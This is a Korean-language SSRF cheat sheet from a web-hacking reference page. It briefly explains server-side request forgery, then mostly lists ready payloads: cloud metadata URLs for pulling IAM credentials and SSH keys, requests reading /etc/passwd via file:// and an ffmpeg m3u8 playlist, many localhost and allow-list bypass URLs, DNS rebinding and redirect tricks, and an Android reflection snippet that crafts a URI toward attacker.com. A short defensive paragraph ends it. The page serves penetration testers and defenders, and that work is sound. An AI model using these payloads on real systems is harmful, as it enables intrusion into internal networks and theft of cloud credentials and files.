SSRF

Introduction

SSRF는 Server-Side Request Forgery의 약자로 백엔드 서버단에서 요청을 발생시켜 내부시스템에 접근하거나 외부로 데이터를 유출할 수 있는 공격 방법입니다.

Why?

서비스 기능에 따라서 proxy 서버와 유사하게 서버가 웹 요청을 대신 수행해야하는 경우가 있습니다. 특히 외부 Endpoint에 접근할 수 있는 URL에 관련된 정보를 받아오는 경우 외부에서 사용자가 이를 조작하여 개발자가 의도하지 않은 도메인으로 웹 요청을 발생시킬 수 있습니다.

Offensive techniques

Detect

보통 이미지를 캡쳐하거나 웹 사이트의 정보를 읽어오는 기능에서 자주 발생하며, 정말 생각지도 않는 기능중에 다른 서비스로 요청을 보내는 경우 발생할 수 있습니다. 이를 쉽게 찾기 위해서는 Callback 성 도구(Burpsuite collaborator, ZAP OAST 등)를 활용해서 OOB(Out-of-Band) 와 유사하게 Callback을 받을 도메인을 파라미터, 헤더 등으로 요청하여 서버가 전송하는 요청을 탐지하는 방법이 가장 빠르고 확실합니다.

간혹 인프라 구조에 따라서 외부로 요청이 발생하지 못할 수 있는데, 이러한 경우 localhost, 사설 IP, 사설 도메인(서브도메인 스캔 후 IP를 비교하면 됩니다) 등을 호출하면서 접근할 수 있는지 체크하면 됩니다.

Exploitation

외부/내부로 접점을 확인했다면 실제로 영향력을 만들어야합니다. 보통 인프라에서 사용되는 주요 시스템등의 사설도메인/IP 로 접근해서 response를 통해 내부 정보를 유출하거나, SSRF의 특성 상 DMZ나 그 뒤에서 동작한다는 점을 이용해서 ALC 등 보안 정책을 우회할 수 있습니다. 또는 protocol을 컨트롤할 수 있는 경우 내부 파일에 대한 접근 포인트도 존재합니다.

Original: GET /get?url=https://external.service/1234.jpg
Exploit: GET /get?url=https://internal.service/
Exploit: GET /get?url=https://external.service/internal-api.json
Exploit: GET /get?url=file://etc/passwd

Exploitation - Public Cloud Service

AWS, GCP, Azure, Digital Ocean 등 Public Cloud 를 사용하는 경우 Metadata API로 접근해서 Instance에 대한 정보를 얻거나 중요한 키 값을 얻어 시스템을 탈취할 수 있는 리스크를 만들어낼 수 있습니다.

Metadata URLs (AWS)

# 169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document

# instance-data
http://instance-data/latest/meta-data
http://instance-data/latest/meta-data/hostname
http://instance-data/latest/meta-data/public-keys/
...snip...

Metadata URLs (GCP)

http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id

Metadata URLS (Digital Ocean)

http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

이외에도 굉장히 많은 Public Cloud Service에 대한 Metadata API가 있습니다. 아래 링크를 참고해주세요.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery#ssrf-url-for-cloud-instances

Bypass protection

우회 방법에도 여러가지가 있습니다.

Localhost

http://127.0.0.1
http://0.0.0.0
http://localhost
http://[::]
http://0000::1
http://spoofed.burpcollaborator.net
http://localtest.me
http://localhost.hahwul.com
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
http://0/
http://127.1
http://127.0.1
http://2130706433
http://0177.0.0.1
http://o177.0.0.1
http://0o177.0.0.1
http://q177.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1] #IPv6

Basic bypass

http://trustdomain.com.untrust.com
http://trustdomain.com@untrust.com
http://untrust.com#.trustdomain.com
http://untrust.com?.trustdomain.com
http://untrust.com.trustdomain.com
http://untrust.com\@trustdomain.com
http://untrust.com\@@trustdomain.com
http://untrust.com:\@@trustdomain.com
http://untrust.com#\@trustdomain.com
http://localhost.hahwul.com/server-status

# if blacklist protection,
http://ⓊⓃⓉⓇⓊⓈⓉ.ⒸⓄⓂ
http://ⓤⓝⓣⓡⓤⓢⓣ.ⓒⓞⓜ
http://⒰⒩⒯⒭⒰⒮⒯.⒞⒪⒨

Bypass with @

보통 Era of SSRF로 많이 알려진 방법입니다. @를 이용하여 실제 Host와 검증에서 확인하는 Host를 다르게 분리시켜 공격자가 의도한 도메인으로 접근하도록 유도하는 방법입니다. SSRF 이외에도 각종 공격 방법에서 많이 사용되기 떄문에 잘 알아두시는게 좋습니다. 자세한 내용은 아래 링크를 참고해주세요.

https://www.hahwul.com/2017/09/14/web-hacking-new-attack-vectors-in/

https://google.com@www.hahwul.com => www.hahwul.com

Bypass with Special chars

?url=http://allow_domain.internal_domain_or_ip/page
?url=http://allow_domain@internal_domain_or_ip/page
?url=http://internal_domain_or_ip#.allow_domain/page
?url=http://internal_domain_or_ip?.allow_domain/page
?url=http://internal_domain_or_ip\.allow_domain/page
?url=https://ⓦⓦⓦ.ⓗⓐⓗⓦⓤⓛ.ⓒⓞⓜ = www.hahwul.com

[ List ]
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

Bypass with CNAME and A Record

SSRF 대상이 외부 요청이 가능한 경우 URL을 공격자가 의도한 도메인으로 요청하는데, 이 때 해당 도메인의 IP를 내부망으로 지정하여 접근할 수 있는 방법이 있습니다. 자세한 내용은 아래 링크를 참고해주세요.

https://www.hahwul.com/2019/02/19/bypass-ssrf-protection-using-domain-cname-arecord/

ping localhost.hahwul.com
PING localhost.hahwul.com (127.0.0.1): 56 data bytes

Bypass with AAAA Record (IPv6)

SSRF에 대한 대응 방법 중 가장 확실한게 Endpoint의 실제 IP를 체크하는 방법입니다. 다만 이러한 경우 대부분 Denie list 기반(이는 사설대역이 명확하게 구분되기 때문이에요)의 보호 로직을 사용하는데, 이러한 경우 IPv6 주소를 이용하여 우회해볼 수 있습니다. 그리고 도메인 서비스에서 IPv6 주소는 AAAA Record로 매핑합니다.

  • localhostv6.hahwul.com (::1)

Bypass with Redirect

SSRF 대상이 외부 요청이 가능한 경우 URL을 공격자가 의도한 사이트로 요청한 후 해당 페이지에서 301,302,307,308 등을 이용해 HTTP Redirect를 통해 내부로도 접근을 시도할 수 있습니다. 자세한 내용은 아래 링크를 참고해주세요.

https://www.hahwul.com/2019/02/22/bypass-ssrf-protection-using-http-redirect/

/?url=https://your.domain.com/redirect?url=http://internal.service

DNS Rebinding

DNS Rebinding을 이용하면 2개의 IP가 공존하는 도메인을 이용해서 Host validation을 우회할 수 있습니다.

rebind.hahwul.com =>  127.0.0.1
                      169.254.169.254

DNS Change

DNS Rebinding과 유사하게 DNS에서 A Record의 IP를 바꾸는 형태로 우회할 수 있습니다. 다만 이는 Host validation check와 실제 요청을 수행하는 기능간의 시간차가 있거나 바라보는 DNS 서버가 다른 경우에만 유효합니다.

test.hahwul.com: external_ip and chenage internal_ip

1) host validator => external_ip
2) service => ineternal_ip

Bypass with jar protocol (Only Java)

jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/

Bypass with HierarchicalUri (Only Android)

Android의 Host validation의 차이를 이용한 방법입니다. 이외에도 여러가지 방법이 있으니 해당 내용은 아래 링크를 참고해주세요.

https://www.hahwul.com/2019/09/23/bypass-host-validation-technique-in-android/

Class partClass = Class.forName("android.net.Uri$Part");
	Constructor partConstructor = partClass.getDeclaredConstructors()[0];
	partConstructor.setAccessible(true);

	Class pathPartClass = Class.forName("android.net.Uri$PathPart");
	Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
	pathPartConstructor.setAccessible(true);

  Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
  Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
  hierarchicalUriConstructor.setAccessible(true);

  Object authority = partConstructor.newInstance("trustdomain.com", "trustdomain.com");
  Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
  uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

Bypass with URL: Prefix (Only Java’s URL)

url:http://127.0.0.1:8080
url:file:///etc/passwd

Bypass with Location header

Response

301 Moved Permanently
Location: internal_endpoint

Bypass with 20x + Content-Location

Response

200 OK
Content-Location: internal_endpoint

Bypass with iframe (only headless)

200 OK

<iframe src="internal_endpoint">
</iframe>

Bypass with ffmpeg

  • https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf
  • https://github.com/neex/ffmpeg-avi-m3u-xbin
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
https://internal_endpoint
#EXT-X-ENDLIST
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0, concat:http://dx.su/header.m3u8|file:///etc/passwd 
#EXT-X-ENDLIST

Bypass with TocToU

ToCToU는 Time Of Check to Time Of Use의 시간차를 이용한 공격이며 보통 Race condition attack에서 많이 나오던 개념입니다. URL 검증 로직과 실제 요청 로직간의 차이가 있는 경우 이 간격 사이에 IP를 변경하여 SSRF를 막기 위한 IP 검증 등을 우회하는 방법입니다. (ToCToU SSRF 글 참고)

실제로 아래 케이스에서 유용하게 작동합니다.

  • URL 등록 후 주기적으로 Batch가 도는 경우
  • URL 등록 후 사용자의 특정 Interaction이 있는 때 동작하는 경우
  • MSA 구조로 인해 딜레이가 긴 경우 (다만 타이밍 맞추기는 굉장히 힘듭니다)

DNS Pinning

Pinning Service

  • http://xip.io/
  • https://nip.io/

e.g

nslookup 169.254.169.254.xip.io
nslookup 1ynrnhl.xip.io
nslookup www.owasp.org.1ynrnhl.xip.io
nslookup 127.127.127.127.xip.io

nslookup 169.254.169.254.nip.io
nslookup app-169-254-169-254.nip.io
nslookup owasp.org.169.254.169.254.nip.io
nslookup customer2-app-169-254-169-254.nip.io
nslookup 127.127.127.127.nip.io

Blind SSRF Canaries & Chains

Blind SSRF를 내부의 다른 SSRF, Open Redirect 등 다른 이슈와 연결하여 리스크를 만들어내는 기술을 Blind SSRF Canaries 라고 부릅니다. 그리고 이러한 것들을 Attack Chain처럼 하나로 묶게되면 단순히 내부망에서 요청을 호출하는 SSRF에서 실제로 좀 더 영향있는 리스크를 만들 수 있습니다.

이러한 SSRF Chain 방법은 이미 알려진 여러가지 방법들이 있고, 자세한 내용은 아래 AssetNode에서 작성한 글을 참고하시는게 좋습니다.

  • https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

Defensive techniques

사용자로부터 URL, Path, Port 등 요청을 위한 재료를 받는 경우 의도하지 않은 페이지로 이동할 수 없도록 정확하게 검증해야합니다. 정규식 등으로 걸러낼 수 있지만, 가급적 Application에서 제공하는 Host validation 기능을 이용하는 것이 좋습니다. 추가로 Application의 Host validation에 문제가 있는 경우도 있으니 이를 활용한 상태에서 취약점이 발생했다면, 추가적인 코드로 2중 검증을 진행하는게 좋습니다.

Tools

References